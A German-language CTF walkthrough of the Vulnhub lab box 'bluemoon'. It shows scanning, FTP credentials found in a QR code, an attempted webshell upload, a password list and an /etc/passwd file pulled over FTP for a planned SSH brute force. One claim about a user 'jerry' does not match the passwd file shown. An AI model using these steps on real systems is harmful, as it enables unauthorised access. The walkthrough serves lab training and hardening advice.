bluemoon - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nikto
nmap
gobuster
ftp
hydra
ssh
cat
ls
mv
echo
chmod
sudo
find
nc (netcat)
python3
docker

Inhaltsverzeichnis

Reconnaissance

Analyse: Der erste Schritt in der Reconnaissance-Phase ist die Identifizierung aktiver Hosts im lokalen Netzwerksegment. Das Tool `arp-scan` sendet ARP-Anfragen (Address Resolution Protocol) an alle möglichen IP-Adressen im lokalen Netz und listet die Geräte auf, die antworten, zusammen mit ihrer MAC-Adresse und dem Hersteller (falls bekannt).

Bewertung: Dieser Befehl ist essenziell, um schnell das Zielsystem im lokalen Netzwerk zu finden, ohne einen vollständigen IP-Range-Scan durchführen zu müssen. Die Ausgabe bestätigt die Präsenz eines Hosts mit der IP-Adresse 192.168.2.123 und der MAC-Adresse 08:00:27:84:7c:47, die zu "PCS Systemtechnik GmbH" (oft assoziiert mit VirtualBox) gehört. Dies ist unser Ziel.

Empfehlung (Pentester): Notieren der Ziel-IP für weitere Scans. Die MAC-Adresse kann Hinweise auf die Virtualisierungsumgebung geben.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Spoofing-Schutzmaßnahmen können die Effektivität von ARP-Scans einschränken. Überwachung auf ungewöhnliche ARP-Aktivitäten.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.123	08:00:27:84:7c:47	PCS Systemtechnik GmbH

Analyse: `nikto` ist ein Webserver-Scanner, der auf bekannte Schwachstellen, Fehlkonfigurationen, Standarddateien und veraltete Softwareversionen prüft. Der Parameter `-h` gibt das Ziel (Hostname oder IP) an.

Bewertung: Nikto identifiziert mehrere potenzielle Sicherheitsprobleme auf dem Webserver (Port 80) unter 192.168.2.123:

Diese Ergebnisse liefern wertvolle Angriffspunkte und Informationen über die Serverkonfiguration.

Empfehlung (Pentester): Die gefundenen Punkte weiter untersuchen: Fehlende Header ausnutzen, nach Exploits für Apache 2.4.38 suchen, die Standarddatei genauer ansehen. Die erlaubten Methoden prüfen, insbesondere ob `PUT` oder `DELETE` unsicher konfiguriert sind.
Empfehlung (Admin): Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy`, etc.) implementieren. ETag-Konfiguration prüfen (z.B. `FileETag None`). Apache auf die neueste stabile Version aktualisieren und nicht benötigte Standarddateien sowie Verzeichnisse entfernen. Unnötige HTTP-Methoden deaktivieren.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.123
- Nikto v2.5.0
+ Target IP:          192.168.2.123
+ Target Hostname:    192.168.2.123
+ Target Port:        80
+ Start Time:         2023-07-01 01:44:22 (GMT2)
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 17f, size: 5bf265b88ecc3, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-07-01 01:44:36 (GMT2) (14 seconds)
+ 1 host(s) tested

Analyse: Dieser `nmap`-Befehl führt einen schnellen Portscan durch (`-sS` für SYN-Scan, `-T5` für höchste Geschwindigkeit), versucht Standard-Skripte (`-sC`) und Versionserkennung (`-sV`) auf allen Ports (`-p-`) und führt eine aggressive Betriebssystem- und Serviceerkennung durch (`-A`). Der `| grep open` filtert die Ausgabe, um nur die offenen Ports anzuzeigen.

Bewertung: Der Scan identifiziert schnell die primären offenen TCP-Ports: 21 (FTP - vsftpd 3.0.3), 22 (SSH - OpenSSH 7.9p1) und 80 (HTTP - Apache 2.4.38). Dies bestätigt die von Nikto untersuchte Webserver-Präsenz und fügt FTP und SSH als weitere potenzielle Angriffsvektoren hinzu. Die spezifischen Versionen sind wichtig für die Suche nach bekannten Exploits.

Empfehlung (Pentester): Die identifizierten Dienste (FTP, SSH, HTTP) nun gezielt untersuchen. Nach Exploits für `vsftpd 3.0.3`, `OpenSSH 7.9p1` und `Apache 2.4.38` suchen. Anonymen FTP-Zugang testen. SSH auf schwache Anmeldedaten prüfen. Die Webanwendung auf Port 80 weiter enumerieren.
Empfehlung (Admin): Nicht benötigte Dienste deaktivieren. Sicherstellen, dass alle laufenden Dienste auf dem neuesten Stand sind und sicher konfiguriert wurden (z.B. kein anonymer FTP-Zugang, wenn nicht erforderlich; SSH nur mit Schlüsselauthentifizierung erlauben).

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.123 -p- | grep open
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

Analyse: Dies ist ein detaillierterer `nmap`-Scan derselben Maschine, diesmal ohne `-T5` (was zu genaueren Ergebnissen führen kann, aber länger dauert) und ohne `grep`, um die vollständige Ausgabe zu sehen. Er verwendet `-sS` (SYN-Scan), `-sC` (Standard-Skripte), `-sV` (Versionserkennung) und `-A` (Aggressive Erkennung inkl. OS-Detection, Version Detection, Script Scanning und Traceroute) auf allen TCP-Ports (`-p-`).

Bewertung: Dieser Scan bestätigt die offenen Ports (21, 22, 80) und die Dienstversionen. Zusätzlich liefert er:

Diese Informationen sind wertvoll für das Verständnis des Ziels und die weitere Angriffsplanung.

Empfehlung (Pentester): Die gewonnenen Informationen (Versionen, OS) für die Suche nach spezifischen Schwachstellen nutzen. Den HTTP-Titel und den Hostnamen `bob.vln` (aus dem Scan Report) notieren, falls relevant. Die SSH-Keys könnten für Man-in-the-Middle-Szenarien relevant sein, sind hier aber primär zur Identifikation nützlich.
Empfehlung (Admin): Die von Nmap bereitgestellten Informationen (insbesondere Dienstversionen und OS-Details) können Angreifern helfen. Maßnahmen zur Reduzierung des Informations-Footprints ergreifen (z.B. Server-Banner anpassen, Firewall-Regeln zur Einschränkung von Scans). Sicherstellen, dass das Betriebssystem und alle Dienste gepatcht sind.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -A 192.168.2.123 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-01 01:44 CEST
Nmap scan report for bob.vln (192.168.2.123)
Host is up (0.00019s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 2c:e2:63:78:bc:55:fe:f3:cb:09:a9:d8:26:2f:cb:d5 (RSA)
|   256 c4:c8:6b:48:92:25:a5:f7:00:9f:ab:b2:56:d5:ed:dc (ECDSA)
|_  256 a9:5b:39:a1:6e:05:91:0f:75:3c:88:0b:55:7c:a8:c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: BlueMoon:2021
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:84:7C:47 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.19 ms bob.vln (192.168.2.123)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.32 seconds

Web Enumeration

Analyse: Zugriff auf die Hauptseite des Webservers über einen Browser oder ein Tool wie `curl`. Die Ausgabe zeigt den Text der Startseite.

Bewertung: Die Startseite `index.html` enthält eine einfache Willkommensnachricht ("-- Welcome --", "Are You Ready To Play With Me .....!", "Target"). Sie liefert keine direkten Schwachstellen, bestätigt aber, dass der Webserver aktiv ist und Inhalte ausliefert. Der Text könnte ein Hinweis auf den spielerischen Charakter der (vermutlich) CTF-Box sein.

Empfehlung (Pentester): Den Quellcode der Seite untersuchen (`view-source:`), nach versteckten Kommentaren, Links oder eingebetteten Skripten suchen. Tools wie `gobuster` oder `dirb` verwenden, um weitere Verzeichnisse und Dateien zu finden.
Empfehlung (Admin): Sicherstellen, dass Webseiten keine unnötigen Informationen oder Hinweise preisgeben, die einem Angreifer helfen könnten. Quellcode regelmäßig auf sensible Daten prüfen.

http://192.168.2.123/index.html
" -- Welcome -- "

Are You Ready To Play With Me .....!

Target

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu entdecken (Brute-Force).

Bewertung: Gobuster findet neben der bekannten `index.html` ein weiteres interessantes Verzeichnis oder eine Datei namens `/hidden_text` (Status Code 200 OK). Dies ist ein vielversprechender Fund, da der Name auf versteckte Informationen hindeutet.

Empfehlung (Pentester): Die gefundene Ressource `http://192.168.2.123/hidden_text` im Browser aufrufen und analysieren. Eventuell andere Wordlists oder Erweiterungen mit `gobuster` testen, um sicherzustellen, dass nichts übersehen wurde.
Empfehlung (Admin): Verzeichnisse und Dateien mit sensiblen Informationen sollten nicht durch leicht zu erratende Namen zugänglich sein. Zugriffskontrollen (Authentifizierung, Autorisierung) implementieren und Webserver-Logs auf Brute-Force-Versuche überwachen. Die Verwendung von Standard-Wordlists wie SecLists durch Angreifer berücksichtigen.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.123 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.123
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403,405
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb
[+] Expanded:                true
[+] Timeout:                 10s
[+] Exclude Status Codes:    403,404
[+] No error:                true
===============================================================
2023/07/01 01:50:11 Starting gobuster
===============================================================
http://192.168.2.123/index.html           (Status: 200) [Size: 383]
http://192.168.2.123/hidden_text          (Status: 200) [Size: 1169]
===============================================================
2023/07/01 01:55:23 Finished
===============================================================

Analyse: Versuch, sich über den Kommandozeilen-FTP-Client mit dem Server zu verbinden. Standardmäßig wird versucht, sich als Benutzer `anonymous` anzumelden.

Bewertung: Der Server antwortet mit "220 (vsFTPd 3.0.3)", was die Nmap-Ergebnisse bestätigt. Der anonyme Login schlägt jedoch fehl ("530 Permission denied."). Das bedeutet, dass der FTP-Server zwar läuft, aber keine anonymen Verbindungen zulässt.

Empfehlung (Pentester): Nach gültigen FTP-Benutzerdaten suchen. Diese könnten in Webseiten-Kommentaren, Konfigurationsdateien oder durch andere Enumerationstechniken gefunden werden. Brute-Force-Angriffe auf den FTP-Login könnten ebenfalls versucht werden, falls Benutzernamen bekannt sind oder erraten werden können.
Empfehlung (Admin): Anonymen FTP-Zugang deaktivieren, es sei denn, er ist explizit erforderlich. Starke Passwörter für alle FTP-Benutzer erzwingen und Intrusion-Detection-Systeme (IDS) zur Erkennung von Brute-Force-Angriffen auf den FTP-Dienst einsetzen.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.123
Connected to 192.168.2.123.
220 (vsFTPd 3.0.3)
Name (192.168.2.123:root): anonymous
530 Permission denied.
Login failed.
ftp>

Analyse: Diese Zeilen deuten auf die Untersuchung einer Ressource hin, die offenbar einen QR-Code enthält. Die erste Zeile ist eine URL zu einem Online-QR-Code-Erkennungstool. Die zweite Zeile zeigt den Versuch, den Quellcode (in diesem Fall das Bild selbst) einer PNG-Datei namens `.QR_C0d3.png` im Stammverzeichnis des Webservers anzuzeigen. Der Dateiname mit dem Punkt am Anfang deutet darauf hin, dass es sich um eine versteckte Datei handelt (unter Linux/Unix). Die Pfeile `<--<<- Qr Code` sind ein Kommentar des Pentesters.

Bewertung: Der Pentester hat vermutlich auf der Webseite oder im Verzeichnis `/hidden_text` einen Hinweis auf diesen QR-Code gefunden oder ihn durch weitere Enumeration entdeckt. Das Bild `.QR_C0d3.png` enthält wahrscheinlich wichtige Informationen, die mit einem QR-Code-Scanner extrahiert werden müssen. Der Dateiname selbst ist leicht obfuskiert ("C0d3" statt "Code").

Empfehlung (Pentester): Den QR-Code herunterladen (z.B. mit `wget http://192.168.2.123/.QR_C0d3.png`) und mit einem lokalen oder Online-QR-Code-Scanner lesen. Der Inhalt könnte Zugangsdaten, URLs oder andere Hinweise enthalten.
Empfehlung (Admin): Sensible Informationen sollten nicht in leicht zugänglichen Formaten wie QR-Codes auf dem Webserver gespeichert werden, insbesondere nicht in versteckten, aber erratbaren Dateinamen. Zugriffskontrolle und Verschlüsselung verwenden.

https://products.aspose.app/barcode/de/recognize/qr#/recognized

view-source:http://192.168.2.123/.QR_C0d3.png  <--<<- Qr Code

Analyse: Dies ist der Inhalt, der vermutlich aus dem Scannen des QR-Codes (`.QR_C0d3.png`) extrahiert wurde. Es handelt sich um ein einfaches Bash-Skript, das Variablen für Host (`HST`), Benutzer (`USER`) und Passwort (`PASSWRD`) setzt und dann versucht, eine FTP-Verbindung mit diesen Daten herzustellen. Die Kommentare `#!/bin/bash` und `EF` (vermutlich End of File oder ähnliches) rahmen das Skript ein.

Bewertung: Der QR-Code enthielt die Zugangsdaten für den FTP-Server!

Dies ist ein kritischer Fund, da er wahrscheinlich den Zugriff auf den FTP-Server ermöglicht. Das Passwort ist relativ schwach ("password" mit leichten Modifikationen).

Empfehlung (Pentester): Die extrahierten Zugangsdaten (`userftp` / `ftpp@ssword`) verwenden, um sich am FTP-Server (Port 21) anzumelden und dessen Inhalt zu untersuchen.
Empfehlung (Admin): Niemals Zugangsdaten, auch nicht für weniger privilegierte Konten, in unverschlüsselter Form oder leicht zugänglichen Formaten wie QR-Codes auf einem Webserver speichern. Starke, einzigartige Passwörter verwenden und Zugangsdaten sicher verwalten (z.B. in einem Passwort-Manager oder Secrets-Management-System).

#!/bin/bash

HST=ip
USER=userftp
PASSWRD=ftpp@ssword

ftp -inv $HST user $USER $PASSWRD
bye
EF

Initial Access

Analyse: Erneuter Versuch, sich mit dem FTP-Server zu verbinden, diesmal unter Verwendung der aus dem QR-Code gewonnenen Zugangsdaten: Benutzer `userftp` und das dazugehörige Passwort.

Bewertung: Der Login ist erfolgreich ("230 Login successful."). Der Pentester hat nun Zugriff auf das Dateisystem über FTP mit den Rechten des Benutzers `userftp`. Das Remote-System wird als UNIX identifiziert, und der Übertragungsmodus ist standardmäßig binär. Dies markiert den erfolgreichen initialen Zugriff auf das System.

Empfehlung (Pentester): Das Dateisystem über FTP gründlich untersuchen. Mit Befehlen wie `ls -la`, `cd`, `get` nach interessanten Dateien (Konfigurationen, Skripte, Benutzerdaten, Flags) suchen. Prüfen, welche Verzeichnisse lesbar und beschreibbar sind.
Empfehlung (Admin): Die Berechtigungen des FTP-Benutzers `userftp` überprüfen und auf das absolute Minimum beschränken (Least Privilege Principle). Überwachen der FTP-Aktivitäten auf verdächtige Downloads oder Upload-Versuche.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.123
Connected to 192.168.2.123.
220 (vsFTPd 3.0.3)
Name (192.168.2.123:root): userftp
331 Please specify the password.
Password: ftpp@ssword
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

Analyse: Der Befehl `ls -la` wird im FTP-Client ausgeführt, um den Inhalt des aktuellen Verzeichnisses (das Home-Verzeichnis des `userftp`) detailliert aufzulisten, einschließlich versteckter Dateien und Berechtigungen.

Bewertung: Zwei Dateien werden gefunden: `information.txt` und `p_lists.txt`. Beide gehören dem Benutzer und der Gruppe `0` (root), sind aber für alle lesbar (`-rw-r--r--`). Diese Dateien sind potenzielle Quellen für weitere Informationen oder Zugangsdaten.

Empfehlung (Pentester): Beide Dateien mit dem `get`-Befehl herunterladen und ihren Inhalt analysieren.
Empfehlung (Admin): Überprüfen, warum diese Dateien im Home-Verzeichnis des FTP-Benutzers liegen und warum sie `root` gehören. Dateien sollten dem Benutzer gehören, der sie erstellt hat, es sei denn, es gibt einen spezifischen Grund. Sensible Informationen sollten nicht in Klartextdateien gespeichert werden.

ftp> ls -la
229 Entering Extended Passive Mode (|||20773|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Mar 08  2021 .
drwxr-xr-x    3 1001     1001         4096 Mar 08  2021 ..
-rw-r--r--    1 0        0             147 Mar 08  2021 information.txt
-rw-r--r--    1 0        0             363 Mar 08  2021 p_lists.txt
226 Directory send OK.

Analyse: Der Befehl `get p_lists.txt` wird verwendet, um die Datei `p_lists.txt` vom FTP-Server auf das lokale System des Pentesters herunterzuladen.

Bewertung: Der Download ist erfolgreich. Die Datei ist klein (363 Bytes). Der Name `p_lists.txt` deutet stark auf eine Passwortliste hin.

Empfehlung (Pentester): Den Inhalt der heruntergeladenen Datei `p_lists.txt` untersuchen. Vermutlich enthält sie Passwörter, die für Brute-Force-Angriffe gegen andere Dienste (z.B. SSH) oder Benutzer verwendet werden können.
Empfehlung (Admin): Passwortlisten oder sensible Daten sollten niemals über unverschlüsselte Protokolle wie FTP zugänglich sein. Speicherorte solcher Dateien überprüfen und sichern.

ftp> get p_lists.txt
local: p_lists.txt remote: p_lists.txt
229 Entering Extended Passive Mode (|||32367|)
150 Opening BINARY mode data connection for p_lists.txt (363 bytes).
100% |***********************************|   363       10.98 MiB/s    00:00 ETA
226 Transfer complete.
363 bytes received in 00:00 (609.09 KiB/s)

Analyse: Der Befehl `get information.txt` wird verwendet, um die Datei `information.txt` vom FTP-Server herunterzuladen.

Bewertung: Der Download ist erfolgreich. Die Datei ist noch kleiner (147 Bytes). Der Name deutet auf informative Inhalte hin, möglicherweise Hinweise oder Konfigurationsdetails.

Empfehlung (Pentester): Den Inhalt der heruntergeladenen Datei `information.txt` analysieren. Sie könnte Benutzernamen, Systeminformationen oder andere Hinweise enthalten.
Empfehlung (Admin): Überprüfen, welche Informationen in `information.txt` gespeichert sind und ob diese für einen Angreifer nützlich sein könnten. Sensible Informationen sicher speichern.

ftp> get information.txt
local: information.txt remote: information.txt
229 Entering Extended Passive Mode (|||29690|)
150 Opening BINARY mode data connection for information.txt (147 bytes).
100% |***********************************|   147      275.00 KiB/s    00:00 ETA
226 Transfer complete.
147 bytes received in 00:00 (192.69 KiB/s)

Analyse: Der Pentester versucht, eine Datei namens `Getshell.php` vom lokalen System auf den FTP-Server hochzuladen (`put`). Dies ist ein typischer Versuch, eine Webshell oder ein anderes bösartiges Skript auf den Server zu bekommen.

Bewertung: Der Upload schlägt fehl ("550 Permission denied."). Der FTP-Benutzer `userftp` hat keine Schreibberechtigungen im aktuellen Verzeichnis (seinem Home-Verzeichnis).

Empfehlung (Pentester): Nach anderen Verzeichnissen suchen, in denen der Benutzer `userftp` möglicherweise Schreibrechte hat (z.B. `/tmp`, `/var/tmp`, oder vielleicht webserverbezogene Verzeichnisse, falls der FTP-Zugang mit dem Webserver-Root zusammenhängt, was hier unwahrscheinlich ist).
Empfehlung (Admin): Sicherstellen, dass FTP-Benutzer nur in den für sie vorgesehenen Verzeichnissen Schreibrechte haben und diese Rechte so restriktiv wie möglich sind. Das Hochladen von ausführbaren Dateien oder Skripten sollte, wenn möglich, verhindert werden.

ftp> put Getshell.php
local: Getshell.php remote: Getshell.php
229 Entering Extended Passive Mode (|||39677|)
550 Permission denied.

Analyse: Der Pentester wechselt in das Verzeichnis `/var` auf dem FTP-Server.

Bewertung: Das Wechseln des Verzeichnisses ist erfolgreich ("250 Directory successfully changed."). `/var` ist ein Standard-Linux-Verzeichnis, das variable Daten wie Logs, Caches und temporäre Dateien enthält. Es ist ein interessantes Ziel für die weitere Enumeration.

Empfehlung (Pentester): Den Inhalt von `/var` auflisten (`ls -la`), um Unterverzeichnisse wie `/var/www`, `/var/log`, `/var/tmp` zu finden und deren Berechtigungen zu prüfen.
Empfehlung (Admin): Die Berechtigungen für das `/var`-Verzeichnis und seine Unterverzeichnisse überprüfen, um sicherzustellen, dass Benutzer nicht auf sensible Daten zugreifen oder in unerwartete Orte schreiben können.

ftp> cd /var
250 Directory successfully changed.

Analyse: Der Pentester versucht, den Inhalt des Verzeichnisses `/var` aufzulisten, macht aber einen Tippfehler im Befehl (`ls l-a` statt `ls -la`).

Bewertung: Der FTP-Server scheint den fehlerhaften Befehl zu ignorieren oder kann ihn nicht interpretieren. Es wird eine Erfolgsmeldung ("150 Here comes the directory listing.", "226 Directory send OK.") zurückgegeben, aber keine Dateiliste angezeigt. Dies zeigt, wie wichtig die korrekte Syntax ist.

Empfehlung (Pentester): Den Befehl korrigieren und erneut ausführen (`ls -la`).
Empfehlung (Admin): Keine spezifische Aktion erforderlich, außer der allgemeinen Überwachung von FTP-Befehlen.

ftp> ls l-a
229 Entering Extended Passive Mode (|||51706|)
150 Here comes the directory listing.
226 Directory send OK.

Analyse: Der Pentester führt nun den korrekten Befehl `ls -la` aus, um den Inhalt des `/var`-Verzeichnisses detailliert aufzulisten.

Bewertung: Die Ausgabe zeigt die Standard-Unterverzeichnisse von `/var`, darunter `/var/backups`, `/var/cache`, `/var/lib`, `/var/log`, `/var/mail`, `/var/spool`, `/var/tmp` und `/var/www`. Die meisten gehören `root`. `/var/tmp` hat `wxrwxrwt`-Berechtigungen (Sticky Bit gesetzt), was bedeutet, dass jeder Dateien erstellen, aber nur der Eigentümer seine eigenen Dateien löschen kann. Das Verzeichnis `/var/www` ist ebenfalls interessant, da es typischerweise die Webserver-Dateien enthält.

Empfehlung (Pentester): Die Berechtigungen von `/var/tmp` und `/var/www` genauer prüfen. Versuchen, in `/var/tmp` zu schreiben. Den Inhalt von `/var/www` untersuchen, um zu sehen, ob er mit dem über HTTP erreichbaren Webroot übereinstimmt und ob der `userftp` hier möglicherweise mehr Rechte hat (was unwahrscheinlich ist, da es `root` gehört). Auch `/var/log` auf interessante Logdateien prüfen.
Empfehlung (Admin): Sicherstellen, dass die Berechtigungen in `/var` angemessen sind. Insbesondere Schreibrechte in `/var/tmp` können manchmal missbraucht werden, obwohl das Sticky Bit einen gewissen Schutz bietet. Berechtigungen für `/var/www` sollten dem Webserver-Benutzer (oft `www-data`) gehören und restriktiv sein.

ftp> ls -la
229 Entering Extended Passive Mode (|||63558|)
150 Here comes the directory listing.
drwxr-xr-x   12 0        0            4096 Mar 07  2021 .
drwxr-xr-x   18 0        0            4096 Mar 07  2021 ..
drwxr-xr-x    2 0        0            4096 Jun 30 16:43 backups
drwxr-xr-x    8 0        0            4096 Mar 07  2021 cache
drwxr-xr-x   23 0        0            4096 Mar 08  2021 lib
drwxrwsr-x    2 0        50           4096 Jan 30  2021 local
lrwxrwxrwx    1 0        0               9 Mar 07  2021 lock -> /run/lock
drwxr-xr-x    6 0        0            4096 Mar 08  2021 log
drwxrwsr-x    2 0        8            4096 Mar 07  2021 mail
drwxr-xr-x    2 0        0            4096 Mar 07  2021 opt
lrwxrwxrwx    1 0        0               4 Mar 07  2021 run -> /run
drwxr-xr-x    4 0        0            4096 Mar 07  2021 spool
drwxrwxrwt    4 0        0            4096 Jun 30 16:43 tmp
drwxr-xr-x    3 0        0            4096 Mar 07  2021 www
226 Directory send OK.

Analyse: Der Pentester analysiert den Inhalt der zuvor heruntergeladenen Datei `p_lists.txt`.

Bewertung: Die Datei enthält eine Liste von potenziellen Passwörtern. Diese reichen von einfachen (p@ssw0rd) bis hin zu leicht komplexeren oder themenbezogenen Wörtern (z.B. Namen, Gaming-Begriffe). Diese Liste ist ideal für Brute-Force-Angriffe auf Login-Mechanismen, insbesondere SSH, da Nmap einen SSH-Dienst auf Port 22 gefunden hat.

Empfehlung (Pentester): Diese Passwortliste (`p_lists.txt`) in Verbindung mit potenziellen Benutzernamen (z.B. aus der `/etc/passwd`-Datei, falls zugänglich, oder gängigen Namen wie `root`, `admin`, `user`) verwenden, um einen Brute-Force-Angriff auf den SSH-Dienst (Port 22) zu starten. Tools wie `hydra` oder `medusa` sind dafür geeignet.
Empfehlung (Admin): Die Verwendung schwacher oder leicht zu erratender Passwörter vermeiden. Passwortrichtlinien durchsetzen (Mindestlänge, Komplexität). Brute-Force-Schutzmechanismen implementieren (z.B. `fail2ban`) und Login-Versuche überwachen.

┌──(root㉿cyber)-[~] └─# cat p_lists.txt
h4ck3rp455wd
4dm1n
Pr0h4ck3r
5cr1ptk1dd3
pubgpr0pl4yer
H34d5h00t3r
p@ssw0rd
@@d1dn0tf1nd
J4ck_5p4rr0w
c4pt10n_jack
D0veC4m3r0n
f1nnb4l0r
r0manr3ing5
s3thr0lin5
Demonk1ng
R4ndy0rton
Big_sh0w
j0hnc3na
5tr0ngp@ssw0rd
S4br1n4
4nnlyn
C4rp3nt3r
K0fiKing5t0n
chNAMPIN
Herr0lins
G0palT0p3r
Log3shDriv3r
k4rv3ndh4nh4ck3r
P0nmuGunth0n
Shank3rD3v
KishorMilkV4n
S4th15hR4cer

Analyse: Der Pentester wechselt über FTP in das Verzeichnis `/etc` und lädt die Datei `passwd` herunter.

Bewertung: Das Wechseln nach `/etc` und das Herunterladen von `passwd` sind erfolgreich. Die Datei `/etc/passwd` ist auf den meisten Unix/Linux-Systemen für alle Benutzer lesbar und enthält eine Liste der lokalen Benutzerkonten, deren IDs, Home-Verzeichnisse und Standard-Shells. Dies ist ein sehr wertvoller Fund für die Enumeration.

Empfehlung (Pentester): Die heruntergeladene `passwd`-Datei analysieren, um eine Liste von Benutzernamen zu extrahieren, die auf dem System existieren (insbesondere solche mit einer Login-Shell wie `/bin/bash` oder `/bin/sh`). Diese Benutzernamen können dann zusammen mit der Passwortliste (`p_lists.txt`) für den SSH-Brute-Force-Angriff verwendet werden.
Empfehlung (Admin): Obwohl `/etc/passwd` traditionell lesbar ist, kann das Offenlegen von Benutzernamen Angreifern helfen. In hochsicheren Umgebungen könnten alternative Authentifizierungssysteme oder Maßnahmen zur Verschleierung von Benutzernamen in Betracht gezogen werden (selten praktiziert). Wichtiger ist die Absicherung der Dienste (SSH, etc.) gegen Brute-Force.

ftp> cd /etc
250 Directory successfully changed.
ftp> get passwd
local: passwd remote: passwd
229 Entering Extended Passive Mode (|||59556|)
150 Opening BINARY mode data connection for passwd (1534 bytes).
100% |***********************************|  1534       66.49 MiB/s    00:00 ETA
226 Transfer complete.
1534 bytes received in 00:00 (6.19 MiB/s)
ftp> 

Analyse: Der Pentester zeigt den Inhalt der heruntergeladenen `/etc/passwd`-Datei an.

Bewertung: Die Datei listet Systembenutzer (wie `daemon`, `bin`, `www-data`) und reguläre Benutzer auf. Besonders interessant sind Benutzer mit einer Login-Shell:

Die Benutzer `robin` und `jerry` sind die wahrscheinlichsten Ziele für den SSH-Login.

Empfehlung (Pentester): Die Benutzernamen `robin` und `jerry` zusammen mit der Passwortliste `p_lists.txt` für den SSH-Brute-Force-Angriff mit `hydra` verwenden.
Empfehlung (Admin): Unnötige Benutzerkonten deaktivieren oder löschen. Sicherstellen, dass alle Konten mit Login-Shell starke Passwörter haben oder idealerweise Schlüsselauthentifizierung für SSH verwenden.

┌──(root㉿cyber)-[~] └─# cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
robin:x:1000:1000:robin,,,:/home/robin:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
